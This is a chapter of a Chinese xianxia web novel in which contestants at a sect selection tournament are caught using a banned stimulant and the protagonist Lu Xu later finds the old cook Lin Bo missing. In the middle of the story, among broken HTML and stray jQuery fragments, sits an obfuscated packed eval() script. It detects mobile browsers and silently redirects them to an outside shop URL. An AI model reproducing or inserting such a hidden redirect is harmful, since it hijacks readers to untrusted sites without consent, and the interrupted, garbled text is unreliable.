“林伯。”陆栩喊了他一声,又越过符屏去看擂台上的几人,悄咪咪地道,“我本来刚才就想回去的,但是有人无缘无故骂我来着,我准备报复回去再走。”
符屏那头的林伯:“……”
他臭着个脸:“食人花,我怎么跟你说的?”
被叫到名字的食人花急忙呜咽一声,张开血盆大口就要朝着那两人而去。
“这里人太多了,让食人花一口吃了不好。”陆栩一把将花拽了回来,解释道,“我马上就回去,林伯你打完架啦?”
老人倨傲地哼了一声:“打完了,给那几个人都教训了一顿,以后仙门八派大大小小的地方都得给我种花。”
果然有实力才是硬道理。
她笑笑,嘴甜道:“林伯辛苦啦,我马上就回去,给你做西红柿炒鸡蛋吃。”
“你这句话已经说了两遍了。”对方无情的戳穿。
陆栩双手合十做了个祈求的动作,接着往擂台上看了一眼。
在这人之前,云让已经打败两个人了,并且每一个都让他受了不少伤。
即便云让现在还能撑着一口气,却也不再是对方的对手。
她忽然觉得有哪里不对。
云让所面对的这三个人各个威猛无比,不仅死战不退,还大有一种不死不休的感觉。
陆栩想,会不会他们都喝了那个小贩给的水?根据刚才食人花的表现,那个水里应该加了一种能让人亢奋的药剂。
在她的想法刚落地的刹那,场上的云让再也撑不住的倒了下去,而一直站在一旁的录事不仅没有及时开口宣判,反而正用符屏和谁交流着什么。
身后的白桃碰了碰身侧的人,小声道:“这是怎么了?”
云轻紧锁着眉,手里的帕子越捏越皱,她忍不住喊道:“快宣判啊!我哥哥还躺在地上生死不明,你们这帮宗主长老都在干什么!”
治愈系的两位术法师快步跑向擂台上,配合防御系的术法师将赢了的那人困住,随后摁着他的手臂,用银针放了点血出来。
薄晴霏盯着那红褐色血迹大惊:“是亢奋剂!此人服用了亢奋剂!”
亢奋剂,顾名思义,饮下能短时间内体能大增,力大无穷,但使用者会在服饮后付出相应的代价,因此被列为禁药。
若非特殊情况,绝对不能使用。
不仅是这位应试者,治愈系术法师还提取了前两名应试者的血迹,发现都有服用亢奋剂的痕迹。
陆栩垂眼,心想这真是伤敌一千自损八百的手段。
仙门长老又不是傻子,发生这种事明摆着是各应试者明里暗里的竞争,只要接下来让治愈系的术法师将剩下的应试者逐一排查,会发现他们其中大部分饮用了此物。
至于那些没有饮用的,自然逃不了嫌疑。
燕木临勃然大怒:“让那个臭小子不来!现在他所管的派系发生了这么恶劣的事,他不来管谁管!”
林巧摆了摆手:“这种事在分选大会常有,你不要逮着机会就跟他发脾气,该怎么处理就怎么处理。”
“你!你说什么!”
“好了好了,别在这儿吵啊,多闹笑话。”
受伤惨重的云让被抬了下去,临走之前,薄晴霏也抽了些他的血,结果并无异常。
一直惴惴不安的白桃忽然站起身,在座位周围来回踱步:“到底怎么回事啊,台上怎么突然安静下来了,你哥一声不吭的被抬走了!”
云轻掐着手指:“安静,我哥肯定没事!”
陆栩张开手心,符屏那头的人还在支着下巴看她,见她重新出现在视线里,林伯没忍住地冷哼一声:“完事了?”
陆栩眨了眨眼:“这个东西怎么关掉呀?”
林伯:?
“你这……”他刚要发脾气,一直蹲在她身边的向日葵猛地站起,叶子卡着对方的视线飞快地点了一下符屏周围。
手心里的人瞬间消失不见,取而代之的是她那张老实本分的画像。
陆栩:???
她看向身旁抱头缩起来的向日葵,哈哈大笑:“你怎么这么对你的主人啊。”
向日葵咬着叶子瑟瑟发抖。
陆栩摸了摸它的头:“放心,我不会把你供出去的。”
向日葵这才放下叶子,眨巴着眼看她。
“不过我还有事没说完,得重新联系一下林伯。”
她说着,对着手心里的光屏喊道:“林伯。”
……
光屏里还是她的画像,没有其他反应。
陆栩疑惑,不信邪地又喊了声:“请帮我联系林伯。”
……
“坏了吗?”她皱眉,“请帮我联系云罗山南院的后厨老头林伯。”
……
“啊?”陆栩伸出另一只手,手指直直地穿过手心的光屏,还是没有任何变化。
她想了想,突然道:“帮我联系柏云司。”
光屏闪烁了下,随后一道冰冷的声音骤然响起:“查找成功,请问现在是否联系柏云司。”
这不是能用吗?
陆栩看向脚边的向日葵,后者急忙朝她摆手,意思是它也不知道。
正走神之际,身后的白桃尖叫一声:“怎么回事,他们怎么朝着这边走来了?”
陆栩撩起眼皮看去,果然就见几位治愈系与防御系的术法师朝着边走过来,防御系的石力大手一挥,余下的应试者便被困在原地。
薄晴霏平静道:“由于出现有应试者通过使用禁药来取胜的情况,所以为了分选大会的公平,还请各位配合检查。”
云轻脸刷的一白,恐惧使着她声音发虚:“……什么,禁药?”
薄晴霏没回话,例行公事地抽血检查,这不查不知道,余下的所有意念系的应试者,皆服用了禁药。
“我们不知道那是禁药!”白桃急忙辩解,“是有个人分给我们一杯水,说是什么创造系所研制的,因为分选大会的缘故,所以可以免费给我们喝!”
“我们不是主动要喝的!”
被查出来的应试者一呼百应:“对,我们是冤枉的!请你们查明真相!”
“这件事我们会交给纠察司去查。”薄晴霏收回手,示意侍卫将她们带走,“但在此事查明之前,还得需要你们配合。”
“你要带我们去哪!”
“我不走,我不走!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944258|213276||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“放开我!放开我!你知道我父亲是谁吗!”
白桃挣扎着,余光撇向正要溜之大吉的陆栩,到嘴边的话一顿,而后更大声音地喊着:“她,还有她!她也喝了!你们怎么不查她!”
陆栩脚步一顿,扭头坦然接受投来的目光,大大方方地伸出了手。
薄晴霏看着她的血迹的颜色,摇了摇头:“你没事。”
随后凌厉的眼风扫过白桃:“先担心担心你自己吧,少污蔑别人了!”
陆栩迎着她不可置信的眼神,得意地挑了挑眉,比口型道:活该。
向日葵叉着腰,有模有样的学着:“叽喳!”
分选大会结束,最终意念系第五名有没有合格的入选者,暂不得知。
一人两花回了南院。
陆栩脚刚落地,人便着急忙慌地准备做饭。
林伯好像又去睡觉了,毕竟老人在她印象里还是头回起的这么早,现在困了也正常。
向日葵搬着西红柿从秘境里出来,食人花在它身后边走边流口水。陆栩手脚麻利地生火做饭。
为了补偿老人等她的时间过长,她贴心地做了两道西红柿炒鸡蛋,想着他吃饱了应该不会追究她了。
临近秋天,正午的日光照的人暖洋洋的,院子里向日葵在和小兰花叽叽喳喳的说着什么,炊烟袅袅,香气四溢。
陆栩将四道菜端上餐桌,去敲响了老人的屋门:“林伯,吃饭啦。”
等了一会儿,屋里没动静。
又连着扣了三下门,她将脑袋贴在门上,道:“林伯,你在里面吗?”
……
没人说话,甚至连掀开被褥下床的声音也没有。
陆栩挠挠头,看向院子里正追逐打闹的两株花草:“向日葵,你帮我进去看看林伯在不在。”
向日葵摇头疯狂拒绝,害怕的将自己种了回去。
“……”
陆栩讪笑着看向小兰花。
后者摆头如拨浪鼓,用叶子指了指屋门又指了指院门。
“……你的意思是,他出去了吗?”
“叽喳!”小兰花点头。
陆栩愣了一下,缓缓放下摁在门上的手,心不在焉地走向饭桌。
林伯不在?
这还是他第一次不在的情况。
怎么回事,她在心里猜测着,他不会被上林署的那□□了吧?
虽然他实力毋庸置疑,但毕竟上了年纪,若是被报复了,会不会对方轮番上阵,先消耗他的体力,然后在对他攻击?
陆栩紧张地扣着餐桌,仙门的手段她见识过,也相信林伯如此暴躁的脾气,他定然不会吃亏。
但——
她试着往别处想,兴许是他老人家去处理其他事了呢?
好像也不可能,他整天不是吃就是睡,如此游手好闲,陆栩真想不到仙门有什么事会交到他手上。
这也不是那也不是。
陆栩看着桌上那盘还散发着热气的西红柿炒鸡蛋,这个嘴馋的老头不会在饭点这么重要的时候离开,若是让他离开,必然是发生了大事。
她决定等一等,若是菜凉了他还不回了,她就去找他。